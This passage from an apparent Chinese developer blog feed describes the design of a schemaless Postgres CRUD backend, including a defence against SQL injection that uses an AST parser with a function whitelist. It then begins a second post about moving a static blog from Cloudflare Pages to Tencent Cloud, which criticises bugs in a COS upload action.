Hooopo 上述文章里所介绍的,为每一个 Schemaless 表当创建一张视图。以下是一个视图的 SQL 定义示例:</p> <p><img src="https://github.red/images/2024/07/schemaless_view_sql.png" alt=""></p> <p>得益于 Postgres 对 JSON 类型的强大支持,我们可以从 <code>sl_records</code> 表中提取 JSON 字段的值作为内容,构建出一张“表”,效果如下:</p> <p><img src="https://github.red/images/2024/07/schemaless_view_data.png" alt=""></p> <p>当用户需要查询 Schemaless 表中的数据时,我们直接查询这张视图就行。对于 GORM 而言,这就跟查询一张普通的表一样!它都不会意识到这是由三张表拼凑提取出来的数据。更神奇的是,当你对着这张视图删除一条记录时,对应的 <code>sl_records</code> 原始表中的记录行也会被删除!Postgres 居然能把这俩关联起来。</p> <p>具体到代码实现上,我们需要动态构造创建视图的 SQL 语句。而像字段、表名这类关键字在 SQL 语句中是不支持 SQL 预编译传入的,为了避免潜在的 SQL 注入风险,我使用了 <a href="https://github.com/tj/go-pg-escape">github.com/tj/go-pg-escape</a> 库来对字段名和表名进行转义。</p> <p>正如 Hooopo 文章中所提到的,我将这个视图创建在了另一个 Postgres Schema 下,与默认的 <code>public</code> 进行区分,这也是一种简易的多租户实现了。</p> <div class="box-warning box"><i class="box-icon-warning"></i> 有坑注意! 之前看到过这篇文章: <a href="https://mp.weixin.qq.com/s/8T4Lgis9q30jHaSAfT3jgQ">《我们使用 Postgres 构建多租户 SaaS 服务时踩的坑》</a>,文中提到使用 Postgres Schema 构建多租户时,如果每个 Postgres Schema 下都是同样的表结构,同时对所有 Postgres Schema 中的表结构变更会有性能问题。但上述场景在我们这里不存在,可以忽略该问题。 </div> <h2 id="引用列生成列字段约束的实现">引用列、生成列、字段约束的实现</h2> <p>当我们开发一个博客评论后端时,功能上需要支持回复他人的评论,即数据之间会存在引用关系,我们一般会在 <code>comments</code> 表中加一列 <code>parent_comment_id</code> 来存储父评论的 ID。对应到 Schemaless 的字段类型里,就需要有 <code>reference</code> 这样一种引用类型。</p> <p>我的设计是,当字段类型为 <code>reference</code> 时,其字段值存储的是所引用记录的 UID,字段额外属性 <code>options</code> 里记录它实际展示的列,如下图所示:</p> <img style="box-shadow: none;" src="https://github.red/images/2024/07/reference_table.png" /> <p>在生成视图时,使用 Postgres <code>json_build_object</code> 来构造 <code>reference</code> 类型字段展示的 JSON。(再次感叹 Postgres 真是太强大了!)JSON 中的字段 <code>u</code> 为关联记录的唯一 UID,方便前端处理时找到这一条记录。<code>v</code> 为关联记录的展示字段,用于在前端 Table 表格上展示给用户看。</p> <p>在实际的博客评论记录中,一条评论是不能将自己作为自己的父级评论的。即我们要对 <code>reference</code> 字段的引用值进行约束。我给 <code>reference</code> 字段加了一个 <code>constraint</code> 属性,用户可以输入 JavaScript 表达式来自定义约束行为。JavaScript 表达式返回 <code>true</code> / <code>false</code> ,来表示数据校验是否通过。背后的实现是接了 <a href="https://github.com/dop251/goja">goja</a> 这个 Go çš„ JavaScript Engine 库。我将当前记录传入 JavaScript 运行时的 <code>$this</code> 变量中,将被关联的记录传入 <code>$that</code> 变量中,对于上述需求,我们只需要写 <code>$this.uid !== $that.uid</code> 就可以约束一条评论的父评论不能是它自身。</p> <p><img src="https://github.red/images/2024/07/reference_field_constraint.png" alt=""></p> <p>除了能引用他人的评论,在博客评论中还需要展示评论者的头像,通常的做法是使用评论者的电子邮箱去获取其 Gravatar 头像进行展示。即将评论者的电子邮箱地址全部转换为小写后,再做 MD5 哈希,拼接到 <code>https://gravatar.com/avatar/</code> 或者其他镜像站地址之后。在 Postgres 里我们可以使用<a href="https://www.postgresql.org/docs/current/ddl-generated-columns.html">生成列(Generated Columns)</a>来很轻松的做到这一点:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>comments<span style="color:#6e7681"> </span>(<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>email<span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>email_md5<span style="color:#6e7681"> </span>TEXT<span style="color:#6e7681"> </span><span style="color:#ff7b72">GENERATED</span><span style="color:#6e7681"> </span>ALWAYS<span style="color:#6e7681"> </span><span style="color:#ff7b72">AS</span><span style="color:#6e7681"> </span>(md5(<span style="color:#ff7b72">lower</span>(email)))<span style="color:#6e7681"> </span>STORED<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>);<span style="color:#6e7681"> </span></span></span></code></pre></div><p>但在 Schemaless Table 里呢?一开始我的想法是像上面做字段约束一样接 JavaScript Engine,在添加数据时跑一遍 JavaScript 表达式计算出生成列的值就行。但这存在一个问题:如果 JavaScript 表达式被修改了,那就得全表重新跑重新更新刷一遍数据,这是无法接受的。</p> <p>最后还是选择让用户编写 Postgres SQL 语句片段,用作创建视图时生成列的定义,就像前面视图的 SQL 定义那张图里的:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>md5(<span style="color:#ff7b72">lower</span>(sl_records.<span style="color:#ff7b72">data</span><span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">-&gt;&gt;</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#39;YXSQhESl&#39;</span>::text))<span style="color:#6e7681"> </span><span style="color:#ff7b72">AS</span><span style="color:#6e7681"> </span>email_md5,<span style="color:#6e7681"> </span></span></span></code></pre></div><p>但既然用户能直接编写原生 SQL,SQL 还会被拼接进来创建视图,那我这不直接 SQL 注入被注烂了!就算用黑名单来过滤字符串特殊字符与关键字,保不齐后面出来个我不知道的方法给绕了。这里我使用了 <a href="https://github.com/auxten/postgresql-parser">auxten/postgresql-parser</a> 这个库(Bytebase 也在用)来将用户输入的 SQL 语句解析成 AST,然后 Walk 遍历树上的每个节点,发现有 <code>UNION</code> <code>JOIN</code> 以及白名单外的函数调用就直接禁止提交。如果有人 bypass 了这个库的解析规则绕过了我的检验,那也就等同于他找到了 CockroachDB 的洞(这个 AST 解析库是从 CockroachDB 源码中拆出来的),那我直接拿去水个 CVE。😂</p> <p>在具体代码实现中,由于 postgresql-parser 这个库只能解析完整的 SQL 语句,而用户输入的是 <code>md5(lower(email))</code> 这样的 SQL 片段,我会在用户输入前拼一个 <code>SELECT </code> 再解析。而像 <code>email</code> 这种字段名,由于提供没有上下文,会被解析成 <code>*tree.UnresolvedName</code> 节点。我需要将这些 <code>*tree.UnresolvedName</code> 节点的<strong>值</strong>替换成 <code>sl_records.data -&gt;&gt; 'YXSQhESl'::text</code> 这样的 JSON 取值<strong>语句</strong>,直接修改节点的话出来的语句会是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>md5(<span style="color:#ff7b72">lower</span>(<span style="color:#a5d6ff">&#34;sl_records.data -&gt;&gt; &#39;YXSQhESl&#39;::text&#34;</span>))<span style="color:#6e7681"> </span></span></span></code></pre></div><p>它将这整一块用双引号包裹,会被 Postgres 一整个当做列名去解析。我也没能找到在 Walk 里修改节点属性的方法,最后只能用一个比较丑陋的 HACK:替换节点内容时前后加上一段分隔符,在最后生成的 SQL 语句中找到这个分隔符,将分隔符和它前面的 <code>&quot;</code> 引号去掉。<del>(不由得想起 PHP 反序列化字符逃逸&hellip;&hellip;)</del></p> <p>最终实现大致如下,目前函数白名单仅放开了极少数的哈希函数和字符串处理函数。我还写了不少单元测试来测这个函数的安全性,希望没洞吧&hellip;&hellip;</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> whiteFunctions = []<span style="color:#ff7b72">string</span>{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;md5&#34;</span>, <span style="color:#a5d6ff">&#34;sha1&#34;</span>, <span style="color:#a5d6ff">&#34;sha256&#34;</span>, <span style="color:#a5d6ff">&#34;sha512&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;concat&#34;</span>, <span style="color:#a5d6ff">&#34;substring&#34;</span>, <span style="color:#a5d6ff">&#34;substr&#34;</span>, <span style="color:#a5d6ff">&#34;length&#34;</span>, <span style="color:#a5d6ff">&#34;lower&#34;</span>, <span style="color:#a5d6ff">&#34;upper&#34;</span>, </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">SterilizeExpression</span>(ctx context.Context, input <span style="color:#ff7b72">string</span>, allowFields <span style="color:#ff7b72">map</span>[<span style="color:#ff7b72">string</span>]<span style="color:#ff7b72">string</span>) (<span style="color:#ff7b72">string</span>, <span style="color:#ff7b72">error</span>) { </span></span><span style="display:flex;"><span> w <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&amp;</span>walk.AstWalker{ </span></span><span style="display:flex;"><span> Fn: <span style="color:#ff7b72">func</span>(ctx <span style="color:#ff7b72">interface</span>{}, node <span style="color:#ff7b72">interface</span>{}) (stop <span style="color:#ff7b72">bool</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> v <span style="color:#ff7b72;font-weight:bold">:=</span> node.(<span style="color:#ff7b72">type</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">*</span>tree.UnresolvedName: </span></span><span style="display:flex;"><span> inputFields = append(inputFields, v.<span style="color:#d2a8ff;font-weight:bold">String</span>()) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// HACK: We add separator to get the field name.</span> </span></span><span style="display:flex;"><span> v.Parts[<span style="color:#a5d6ff">0</span>] = <span style="color:#a5d6ff">&#34;!&lt;----!&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> allowFields[v.Parts[<span style="color:#a5d6ff">0</span>]] <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;!----&gt;!&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Remove the separator.</span> </span></span><span style="display:flex;"><span> sql = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(sql, <span style="color:#a5d6ff">`&#34;!&lt;----!`</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span> sql = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(sql, <span style="color:#a5d6ff">`!----&gt;!&#34;`</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> sql, <span style="color:#79c0ff">nil</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h2 id="api-接口设计">API 接口设计</h2> <p>聊完了 Schemaless 特性的实现,我们再来看下自定义 API 接口的实现。这里直接上前端的操作页面,方便我来逐一介绍。</p> <p><img src="https://github.red/images/2024/07/update_api_example.png" alt=""></p> <p>参考之前用过的 Pocketbase,我将接口分为 <code>LIST</code> <code>VIEW</code> <code>CREATE</code> <code>UPDATE</code> <code>DELETE</code> 五种类型。注意这与 HTTP 请求动词或数据库 DDL 操作并无关系,是偏业务上的定义。<code>LIST</code> 返回多条数据、<code>VIEW</code> 查询单条数据、<code>CREATE</code> 添加数据、<code>UPDATE</code> 修改数据、<code>DELETE</code> 删除数据。</p> <p>就像我们写后端需要定义路由一样,每个 API 接口会有它请求方法和路径。以及会定义每个接口它从 GET Query å’Œ POST Body 处接收的字段。这些字段除了要有英文的参数名外,还需要有给人看的标签名,用于展示在数据校验的报错信息里。</p> <p>然后我们会选择一张 Schemaless 数据表作为数据源(记得在 Dreamweaver 里叫“记录集”),把传入参数与数据表中的字段做映射,这样就完成了对数据的操作流程。而就整个请求而言,在请求开始前我们可能会想做一层限流或者验证码,请求结束后需要发送通知邮件或触发 WebHook,因此还需要支持配置路由中间件。</p> <p>这里有两个值得拿来讨论的部分:数据源的筛选规则与前端拖拽配置路由中间件。</p> <h2 id="filter-dsl">Filter DSL</h2> <p>我们的接口经常会有传入 <code>?id=1</code> 来筛选指定一条数据的需求,确切的说是在 <code>LIST</code> <code>VIEW </code> <code>UPDATE</code> <code>DELETE</code> 四种类型下都会遇到。Schemaless 表的增删改查在代码上最终都是用 GORM 来构造 SQL 并执行的,“筛选”对应查询中的 <code>WHERE</code> ,对应 GORM 中的 <code>Where</code> 方法。用户在前端编辑好筛选条件后,需要能“翻译”成 GORM çš„ Where 查询条件(一个 <code>clause.Expression</code> 类型的变量)。</p> <p>我在这里设计了一种使用 JSON 格式来表示 Where 查询条件的方法。一个查询条件分为两种类型,一种是单操作符,仅接收一个或零个参数,如字面量 <code>true</code>、「非」操作 <code>NOT xxxx</code> ;另一种是常见的双操作符的,如「与」操作 <code>xxx AND xxx</code>、<code>xxx LIKE xxx</code>,它们接收两个参数。</p> <p>我们定义一个 <code>Operator</code> 结构体,它记录了当前 WHERE 查询的操作类型 <code>Type</code>、单操作符的参数 <code>Value</code> 、双操作符的左值 <code>Left</code> 和右值 <code>Right</code>。注意左值和右值又可以是一个查询条件,构造 WHERE 条件的时候需要递归解析下去。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">type</span> Operator <span style="color:#ff7b72">struct</span> { </span></span><span style="display:flex;"><span> Type OperatorType <span style="color:#a5d6ff">`json:&#34;t&#34;`</span> </span></span><span style="display:flex;"><span> Value json.RawMessage <span style="color:#a5d6ff">`json:&#34;v,omitempty&#34;`</span> </span></span><span style="display:flex;"><span> Left <span style="color:#ff7b72;font-weight:bold">*</span>Operator <span style="color:#a5d6ff">`json:&#34;l,omitempty&#34;`</span> </span></span><span style="display:flex;"><span> Right <span style="color:#ff7b72;font-weight:bold">*</span>Operator <span style="color:#a5d6ff">`json:&#34;r,omitempty&#34;`</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>对应的操作符有以下这些,你可以看到上方的双操作符都是对应着 SQL 语句中的操作,下面单操作符中有两个特殊的操作 <code>FIELD</code> å’Œ <code>LITERAL</code> 。其中 <code>FIELD</code> 会被解析为 Schemaless 表中的字段,而 <code>LITERAL</code> 的内容将被放到 JavaScript Engine 中运行,请求的 Query å’Œ Body 会被解析后注入到 JavaScript Runtime 中。你可以通过一个值为 <code>$request.query.id</code> çš„ <code>LITERAL</code> 操作拿到 <code>id</code> 这个 Query 参数的值。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">const</span> ( </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Binary operators</span> </span></span><span style="display:flex;"><span> OperatorTypeAnd OperatorType = <span style="color:#a5d6ff">&#34;AND&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeOr OperatorType = <span style="color:#a5d6ff">&#34;OR&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeNotEqual OperatorType = <span style="color:#a5d6ff">&#34;&lt;&gt;&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeEqual OperatorType = <span style="color:#a5d6ff">&#34;=&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeGreater OperatorType = <span style="color:#a5d6ff">&#34;&gt;&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLess OperatorType = <span style="color:#a5d6ff">&#34;&lt;&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeGreaterEqual OperatorType = <span style="color:#a5d6ff">&#34;&gt;=&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLessEqual OperatorType = <span style="color:#a5d6ff">&#34;&lt;=&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLike OperatorType = <span style="color:#a5d6ff">&#34;LIKE&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeIn OperatorType = <span style="color:#a5d6ff">&#34;IN&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Unary operators</span> </span></span><span style="display:flex;"><span> OperatorTypeNot OperatorType = <span style="color:#a5d6ff">&#34;NOT&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> OperatorTypeField OperatorType = <span style="color:#a5d6ff">&#34;FIELD&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLiteral OperatorType = <span style="color:#a5d6ff">&#34;LITERAL&#34;</span> </span></span><span style="display:flex;"><span>) </span></span></code></pre></div><p>形如上面前端图中的那段 Filter:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{ </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;l&#34;</span>: { </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;t&#34;</span>: <span style="color:#a5d6ff">&#34;FIELD&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;v&#34;</span>: <span style="color:#a5d6ff">&#34;raw&#34;</span> </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;r&#34;</span>: { </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;t&#34;</span>: <span style="color:#a5d6ff">&#34;LITERAL&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;v&#34;</span>: <span style="color:#a5d6ff">&#34;$request.query.raw&#34;</span> </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;t&#34;</span>: <span style="color:#a5d6ff">&#34;=&#34;</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>我们从最外层开始解析,就是将左值和右值做 <code>=</code> 操作,左值是数据表的 <code>raw</code> 字段,右值是 <code>$request.query.raw</code> 即 Query 参数 <code>raw</code>,所以上述这么一长串到最后的 Go 代码里形如:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>query.<span style="color:#d2a8ff;font-weight:bold">Where</span>(<span style="color:#a5d6ff">&#34;raw = ?&#34;</span>, ctx.Query[<span style="color:#a5d6ff">&#34;raw&#34;</span>]) </span></span></code></pre></div><p>十分优雅,又十分安全。只是目前前端这个 Filter 还是给你个文本框自己填 Filter JSON,后续会做成纯图形化点点点的组件。(因为评估了下不太好写,所以先咕着🕊)</p> <h2 id="前端拖拽路由中间件">前端拖拽路由中间件</h2> <p>路由的中间件,我一开始就想把常用的功能封装成模块,然后前端直接拖拽着使用。其中对数据操作的主逻辑为 <code>main</code> 中间件,这个不可删除,其它的可以自由编排。</p> <p>后端的实现很简单,相信看过任意 Go Web 框架源码的小伙伴都知道,又是些被说烂了的“洋葱模型”之类的东西。说穿了就是对整个中间件的 Slice <code>for</code> 遍历一下,判断发现其中的某个中间件返回响应(<code>ctx.ResponseWriter().Written()</code> 为 <code>true</code> ),就直接整个返回了,这里就不贴代码水字数了。</p> <p>前端我使用了 <a href="https://github.com/gilnd/vue3-smooth-dnd">vue3-smooth-dnd</a> 这个库,我对比了 Vue 多个拖拽库,貌似只有这一家的动画最为丝滑,并且还带自动吸附。最后实现的效果我也是十分满意:</p> <p><img src="https://github.red/images/2024/07/drag-middlewares.gif" alt=""></p> <p>这个中间件模块的节点是我自己画的,背景设置为灰色, 然后后面放一个细长的 <code>div</code> 作为流程的直线。鼠标放在中间件节点上时会有一个 popup 配置中间件的具体参数。这里是直接用的 TDesign çš„ Popup 弹出层组件,里面再放一个 Card 卡片组件把弹出层空间撑开即可。</p> <h2 id="最后说几句">最后说几句</h2> <p>目前 Sayrud 已经初步开发完并部署到了线上,它已经完美支持了我想要一个静态博客评论后端的需求,后面只需要接上我写得前端就可以用了!(目前我开发的博客评论组件还没上,你现在看到的还是又丑又难用的 Waline)</p> <p>你可能也注意到了编辑接口前端有一个「响应格式」的 Textarea,这块空着是因为我还没有找到一个能够简洁定义 JSON 数据结构的方式。所以目前接口的返回结构也是固定写死的,这块如果你有好的想法,欢迎告诉我。</p> <p>这个项目的开发差不多花了一个月的时间,我平时下班后如果有空就会稍微写点。(注意是下班哦,我上班可是兢兢业业干满 8 小时+,恨不得住在鹅厂)由于开发时间不连贯,再加上有时回到家里比较困脑子不清醒,经常会出现后一天否定前一天的设计的情况。最后磕磕绊绊总算是完成了!由于是纯属为满足自己的需求,再加上我对它后端字段的校验还没统一梳理测试过,我目前并不会把这个站向公众开放。而像这种二开一下就能拿去恰烂钱的东西,我当然也更不会开源。</p> <p>总的来说,Sayrud 也算是圆了自己当年 18 岁时的梦,将自己当时想得东西给做出来了。你可能注意到这个项目的名字也颇耐人寻味,<code>Say - RUD</code> 是 <code>CRUD</code> 的谐音,这其实也代表着我对这个项目未来的规划。嘻嘻😝</p>记录我在腾讯云上部署一个简单静态网站的艰辛https://github.red/migrate-blog-to-tencent-cloud/Mon, 29 Apr 2024 17:44:04 +0800https://github.red/migrate-blog-to-tencent-cloud/<blockquote> <p>文章封面使用 DALL·E 3 生成</p> </blockquote> <p>从三月底开始一直比较忙,最近一切尘埃落定,自己在家也休息了几天,这才能做点自己的事情。</p> <p>由于一些原因 <span class="heimu" onclick="()=>{}">(是的,我要入职腾讯了)</span>,我准备将之前部署在 Cloudflare Pages 上的博客,也就是你现在看到的这个站点,迁移到国内腾讯云上。本以为是很简单的一个操作,完全没有必要大费周章地专门写一篇文章来记录,但现实是我在腾讯云上来来回回试了好几个产品,最终才勉强将这整套的持续集成方案给搭起来。</p> <p>我以前一直是阿里云的忠实用户。但我对阿里云是又爱又恨,没少骂过阿里云残缺的产品功能和听不懂人话的弱智客服。甚至以前在 EFC 上班的时候,路过英国中心楼下想到阿里云就气不打一处来。但即使是这样,阿里云还是全中国排名第一的云,这说明什么?说明其他家的云更是草台班子!</p> <p>说回腾讯云,我大一的时候,曾在腾讯云上开过学生机,后面毕业了优惠没了也就销毁了。腾讯云给我的第一感觉是他的 UI 做得很舒服,操作反馈颇有点 Azure 的感觉。但除开 UI 之外,产品的功能设计还有很大的提升空间。</p> <p>我感觉国内做云的,都是先拿类 OpenStack 做一套管控机房物理资源的系统,然后开始卖 ECS 这样的云主机,卖了一阵子后觉得我可以在一台 ECS 上装点数据库软件、监控软件、消息队列中间件等东西,然后单独拆成如 RDS 这样的服务来卖。卖了一阵子后,发现又可以把好多台 ECS 合起来卖 Kubernetes 集群托管,Kubernetes 托管卖了之后又发现可以在上面二开跑点容器卖 Serverless 服务&hellip;&hellip;</p> <p>就这样在之前的产品的能力上糊一层然后演化成新的产品。</p> <p>我不好评价这样的做法是对还是错。我认为复用已有能力做新产品前,对于新产品的定位以及将具备的核心功能,必须要想清楚。倘若底层的功能过于局限,或者必要配置项比较“狭窄”,则应该考虑另起炉灶而不是在上面糊一层兼容的 Shim。</p> <h2 id="web-应用托管-webify">Web 应用托管 Webify</h2> <p>我一开始是无脑选择腾讯云的 <a href="https://cloud.tencent.com/product/webify">Webify</a> 来部署我的静态页面。从名字就可以看出它是借鉴的 Netlify,产品形态上跟 Netlify、Vercel、Cloudflare Pages 等页面托管产品差不多。</p> <p>但问题就出在——腾讯云没有将 Webify 作为的一个单独的产品进行研发,它是属于腾讯云 Cloudbase 云开发产品下的一个子功能!这个 Cloudbase 是啥?是一个类似于 LeanCloud 或者 Heroku 一样的东西,用户在上面托管 Serverless 应用,同时使用 Cloudbase 提供的存储、数据库、云函数等功能。</p> <p>Webify 作为 Cloudbase 产品的一个子功能,复用了 Cloudbase 部署应用时的 CI/CD 工作流。对于 Cloudbase 而言这个 Webify 实例是一个按量计费的 <code>WebifyPackage</code> ”环境“,在控制台上就莫名其妙地将 Cloudbase 的“环境“这个概念集成进了 Webify 产品中,但是这个“环境”是系统创建的,你控制台点进去还会报错说无权限!</p> <p>在产品计费上,Webify 有自己的一套按月付费的包,包含 CDN 流量、静态存储容量等内容。但这些用量又和底层的 Cloudbase 的用量藕断丝连。以至于我发工单问客服 CDN 流量用完了是怎么计费,他先是说流量用完后直接回原,跟 CDN 服务无关,一会又给我发 CDN 的计费文档,我指出他说得前后矛盾之后,过了一会直接电话打过来跟我解释才讲明白。(我发现现在阿里云和腾讯云的客服水平都变差了,动不动就一个电话过来解释,为啥不能线上消息或者文档说明白?)</p> <p><img src="https://github.red/images/2024/04/tencent-cloud-workorder-01.png" alt="tencent-cloud-workorder"></p> <p>但以上种种也都只是控制台操作上有些不合理,让我来试下实际产品怎么样。</p> <p>首先是 Weblify 不支持 Hugo 站点的自动构建,不像 Cloudflare Pages 或者 Vercel 那样,选择好仓库后能自动推断出技术栈,并补全构建命令。Weblify 只支持常见的 JavaScript 框架编写的项目。</p> <p>解决的办法也不难,我稍微拐个弯,在 GitHub 上建一个仓库,存放构建好的 Hugo 站点文件即可。只需在原 Hugo 项目的 GitHub Actions 流水线中加条 Hugo 构建并推送到仓库即可。</p> <p>在 Weblify 上配置 GitHub OAuth 授权后,选择存放构建后静态资源的仓库,直接静态托管该仓库的内容。然后 Webify 构建又报错了&hellip;&hellip;</p> <p><img src="https://github.red/images/2024/04/cloudbase-ci-error.png" alt="cloudbase-ci-error"></p> <p>根据构建日志,我发现这垃圾玩意是把 <code>git pull</code> 下来的仓库内容,打成 ZIP 压缩包,再用 Cloudbase CLI 推送上去,然后这 Cloudbase CLI 不支持推送超过 100MB 的文件!发工单问客服,答曰:</p> <blockquote> <p>Webify目前限制构建产物的体积在100MB内,建议客户减少部署包的体积。 图片、音视频等大体积的资源,可以使用CLI工具手动上传到环境内的某个固定目录。</p> </blockquote> <p>哈???我站点超过 100MB 还不能自动构建还得手动上传???本来用 Weblify 就是图个方便,最后还要我自己上传?</p> <p>没办法,我打算把 CLI 手动上传的步骤放到 GitHub Actions 的工作流里,即 Hugo 构建完后直接上传至 Weblify。搞了半天成功了,结果 Webify 访问网页直接显示 <code>NO ROUTE</code> 报错,且在控制台上也完全没有找到默认主页、404 页面的配置项。我想就算我解决了 <code>NO ROUTE</code> 的问题,后面默认主页和 404 页面配置不了也还是残废,索性直接申请退款,放弃!</p> <h2 id="回归-cos--cdn">回归 COS + CDN</h2> <p>那只能回到传统的静态网站部署方案:将静态文件上传至 COS(腾讯云的对象存储),然后前面套个 CDN。</p> <p>继续改 GitHub Actions 流水线,将构建好的产物上传至 COS Bucket。然后我发现官方提供的 <a href="https://github.com/TencentCloud/cos-action">COS Action</a> 就是个 Bug 百出的垃圾!这里我要实名 diss 这个仓库的原作者 <a href="https://github.com/mingshun">mingshun</a> 我不知道你是不是鹅厂的,但我知道你肯定没认真测试过你写的代码!</p> <p>例如以下代码 <a href="https://github.com/TencentCloud/cos-action/blob/master/index.js#L110C5-L110C43">TencentCloud/[email protected]#L110</a>:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>} <span style="color:#ff7b72">while</span> (data.IsTruncated <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">&#39;true&#39;</span>); </span></span></code></pre></div><p>这个 <code>IsTruncated</code> 传进来只能是 Boolean 类型的 <code>true</code> 或者 <code>false</code>,你拿他跟一个字符串类型的<code>'true'</code> 强比较,这里恒为 <code>false</code>,导致这个 <code>while</code> 循环永远也跳不出来,一直卡着。我睡一觉醒来后发现我的 Workflow 跑了六个小时,然后被 GitHub 因为超时干掉了。</p> <p>除了上面的这位原作者,还有 <a href="https://github.com/ShirasawaSama">Shirasawa</a> 这位,因为我有朋友也关注了这位老哥,因此我就不喷了。我只能说老哥你多看下 COS SDK 的源码吧,明明就有 <code>accelerate</code> 这个加速域名参数的,你非得自己实现个:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>Domain<span style="color:#ff7b72;font-weight:bold">:</span> core.getInput(<span style="color:#a5d6ff">&#39;accelerate&#39;</span>) <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">&#39;true&#39;</span> <span style="color:#ff7b72;font-weight:bold">?</span> <span style="color:#a5d6ff">&#39;{Bucket}.cos.accelerate.myqcloud.com&#39;</span> <span 